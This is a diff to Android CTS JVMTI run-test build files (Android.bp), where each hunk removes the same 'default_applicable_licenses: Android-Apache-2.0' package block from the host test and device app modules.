index 156aa0d..a9e859e 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest911HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
index 753ae62..74ef5a4 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest911DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.bp b/hostsidetests/jvmti/run-tests/test-912/Android.bp
index 8ff1bec..765d95d 100644
--- a/hostsidetests/jvmti/run-tests/test-912/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest912HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
index bb0ebe9..9c8d015 100644
--- a/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest912DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.bp b/hostsidetests/jvmti/run-tests/test-913/Android.bp
index 3ef2747..28d9d95a 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest913HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
index 4b3061a..3871fa6 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest913DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.bp b/hostsidetests/jvmti/run-tests/test-914/Android.bp
index ac7be56..2f80ca7 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest914HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
index 7a97aff..4357172 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest914DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.bp b/hostsidetests/jvmti/run-tests/test-915/Android.bp
index 7e778d8..a316154 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest915HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
index 89cc159..ba6d2c6 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest915DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.bp b/hostsidetests/jvmti/run-tests/test-917/Android.bp
index cef34ce..c26d916 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest917HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
index 6032efb..353c142 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest917DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.bp b/hostsidetests/jvmti/run-tests/test-918/Android.bp
index d6a2f08..193fe2b 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest918HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.bp b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
index aac8dd2..6d7951a 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest918DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.bp b/hostsidetests/jvmti/run-tests/test-919/Android.bp
index f3c5c53..2c3d12d 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest919HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.bp b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
index 277f865..9839bd9 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest919DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.bp b/hostsidetests/jvmti/run-tests/test-920/Android.bp
index b2fb207..25bee668 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest920HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
index d12530c..2e3b0a0 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest920DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.bp b/hostsidetests/jvmti/run-tests/test-922/Android.bp
index d43497e..4629fbc 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest922HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
index 1c553fe..37bb079 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest922DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.bp b/hostsidetests/jvmti/run-tests/test-923/Android.bp
index e9e9165..24ca2dc 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest923HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
index dc355f8..9f1659e 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest923DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.bp b/hostsidetests/jvmti/run-tests/test-924/Android.bp
index 383a611..118f711 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest924HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
index 23a1aaf..3700ade 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest924DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.bp b/hostsidetests/jvmti/run-tests/test-926/Android.bp
index c60de12..c56a334 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest926HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
index e06670e..afb334a 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest926DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.bp b/hostsidetests/jvmti/run-tests/test-927/Android.bp
index 812e67a..572b893 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest927HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
index a30935a..47d4f11 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest927DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.bp b/hostsidetests/jvmti/run-tests/test-928/Android.bp
index 0745805..80ec3c7 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest928HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
index a061521..120fe11 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest928DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.bp b/hostsidetests/jvmti/run-tests/test-930/Android.bp
index baf38d3..bd76877 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest930HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
index 4869f41..09302fb 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest930DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.bp b/hostsidetests/jvmti/run-tests/test-931/Android.bp
index fd401d1..c722fb6 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest931HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
index 5c4679c..f925396 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest931DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.bp b/hostsidetests/jvmti/run-tests/test-932/Android.bp
index 46936c3..8614c27 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest932HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
index 5fd6739..a698d46 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest932DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.bp b/hostsidetests/jvmti/run-tests/test-940/Android.bp
index 72d9821..5e0ccc8 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest940HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.bp b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
index 7007d13..f3ef9ff 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest940DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.bp b/hostsidetests/jvmti/run-tests/test-942/Android.bp
index fde1311..3317a23 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest942HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
index 4b7d5b4..e52ee99 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest942DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.bp b/hostsidetests/jvmti/run-tests/test-944/Android.bp
index 5969e42..ce42f1e 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest944HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.bp b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
index 3aef24a..6f9fe08 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest944DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.bp b/hostsidetests/jvmti/run-tests/test-945/Android.bp
index 0dbe30c..f129a12 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest945HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.bp b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
index 39aafd1..614d8a3 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest945DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.bp b/hostsidetests/jvmti/run-tests/test-947/Android.bp
index e14c59b..cb76f33 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest947HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.bp b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
index 573ca76..64e3550 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest947DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.bp b/hostsidetests/jvmti/run-tests/test-951/Android.bp
index b6dae71..12d7d11 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest951HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.bp b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
index 4ab2bd5..7384400 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest951DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.bp b/hostsidetests/jvmti/run-tests/test-982/Android.bp
index c62b999..610e95e 100644
--- a/hostsidetests/jvmti/run-tests/test-982/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest982HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.bp b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
index 386b349..6519a10 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest982DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-983/Android.bp b/hostsidetests/jvmti/run-tests/test-983/Android.bp
index ed80849..7a2a7f4 100644
--- a/hostsidetests/jvmti/run-tests/test-983/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-983/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest983HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/Android.bp b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
index 0eb0275..635cde8 100644
--- a/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest983DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.bp b/hostsidetests/jvmti/run-tests/test-984/Android.bp
index 67dba15..e3439b4 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest984HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
